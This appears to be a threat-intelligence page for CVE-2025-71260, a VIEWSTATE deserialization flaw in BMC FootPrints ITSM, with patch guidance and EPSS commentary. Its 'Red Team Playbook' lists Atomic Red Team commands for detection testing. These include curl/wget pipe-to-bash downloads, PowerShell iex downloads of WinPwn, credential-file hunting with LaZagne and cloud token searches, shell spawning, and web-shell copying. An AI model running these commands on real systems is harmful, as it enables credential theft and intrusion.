CVE-2025-71260
Overview
This vulnerability is a deserialization of untrusted data flaw affecting the VIEWSTATE handling mechanism within the ASP.NET servlet of BMC FootPrints ITSM. The root cause lies in improper validation and deserialization of serialized objects supplied via the VIEWSTATE parameter. This weakness allows crafted serialized payloads to be processed by the application’s deserialization logic without integrity verification, compromising the application's internal state management component.
Vulnerability Description
BMC FootPrints ITSM versions 20.20.02 through 20.24.01.001 contain a deserialization of untrusted data vulnerability in the ASP.NET servlet's VIEWSTATE handling that allows authenticated attackers to execute arbitrary code. Attackers can supply crafted serialized objects to the VIEWSTATE parameter to achieve remote code execution and fully compromise the application. The following hotfixes remediate the vulnerability: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, and 20.24.01.
Impact
An attacker with authenticated access can execute arbitrary code on the server hosting BMC FootPrints ITSM, resulting in full compromise of the application environment. This includes the ability to run system commands, manipulate data, and potentially move laterally within the network. The prerequisite is possession of valid user credentials with minimal privileges, which can be leveraged to escalate control. The business impact includes data breaches, service disruption, and loss of system integrity due to unauthorized code execution.
Solution
Apply the vendor-provided hotfixes for BMC FootPrints ITSM as detailed in the 2024 Release 01 Patch 2 documentation available at https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/Release-notes/2024-Release-01-Patch-2/. Relevant patch versions include 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, and 20.24.01. Follow the vendor’s instructions precisely to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from improper handling of serialized data within the ASP.NET framework's VIEWSTATE mechanism in specific versions of BMC FootPrints ITSM. This flaw allows for deserialization of untrusted data, which can be exploited by authenticated attackers to execute arbitrary code on the server. The VIEWSTATE parameter, typically used to maintain the state of web controls between postbacks, can be manipulated by an attacker who crafts malicious serialized objects. When the application deserializes this manipulated data, it can lead to remote code execution, thereby granting the attacker full control over the application environment.
Attack vectors for this vulnerability primarily involve authenticated users leveraging their access to inject malicious payloads into the VIEWSTATE parameter. An attacker could exploit this flaw by sending specially crafted requests that include the malicious serialized objects. This could be done through various means, such as exploiting a web form or API endpoint that processes user input. Once the server processes the malicious VIEWSTATE, the attacker can execute arbitrary code, which could range from simple commands to deploying malware or exfiltrating sensitive data. The ability to execute arbitrary code poses a significant risk, as it can lead to a complete compromise of the application and potentially the underlying infrastructure.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on BMC FootPrints ITSM for their IT service management. The ability for an attacker to execute arbitrary code can lead to unauthorized access to sensitive information, disruption of services, and potential data breaches. The business risks associated with such an incident include financial losses, reputational damage, and regulatory penalties, especially if sensitive customer data is involved. Organizations may face downtime while they address the breach, leading to further financial implications and loss of customer trust. Furthermore, the exploitation of this vulnerability could serve as a foothold for attackers to pivot to other systems within the organization, amplifying the overall risk.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, they should ensure that they are running the latest patched versions of BMC FootPrints ITSM, as the vendor has released several hotfixes to remediate the issue. Regularly updating software and applying security patches is critical in maintaining a secure environment. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their applications. Implementing web application firewalls (WAFs) can also help filter out malicious requests targeting the VIEWSTATE parameter. Monitoring logs for unusual activity, such as unexpected deserialization attempts or unauthorized access patterns, can further aid in early detection of exploitation attempts.
In conclusion, the deserialization vulnerability in BMC FootPrints ITSM presents a significant threat to organizations using this software. The potential for remote code execution by authenticated attackers underscores the importance of maintaining robust security practices, including timely updates and proactive monitoring. By understanding the nature of this vulnerability and implementing effective detection and mitigation strategies, organizations can better protect themselves against the risks associated with this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-71260, rising by nearly 190% to place it within the top percentile of predicted exploitation likelihood. This surge occurs despite a concurrent significant reduction in detection activity across our telemetry, suggesting that while active exploitation attempts may have temporarily diminished, the vulnerability’s potential for exploitation is increasingly recognized by threat actors. The upward trend in EPSS indicates growing confidence in the feasibility and impact of attacks leveraging this deserialization flaw, which could presage a future rise in exploitation attempts. For defenders, this divergence between lower current detection and higher predictive risk underscores the necessity of maintaining vigilance, as adversaries may be preparing or refining exploit techniques that have yet to manifest widely in the wild. Consequently, the threat level associated with CVE-2025-71260 should be reassessed as elevated, reflecting an increased likelihood of exploitation despite the present lull in observable attack activity.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Bmc | Footprints Itsm | All |
cpe:2.3:a:bmc:footprints_itsm:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
60%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-71260 |
| docs.bmc.com |
GitHub CVE
patch
|
https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/Release-notes/2024-Release-01-Patch-2/ |
| labs.watchtowr.com |
GitHub CVE
technical-description
exploit
|
https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/ |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://www.vulncheck.com/advisories/bmc-footprints-itsm-viewstate-deserialization-rce |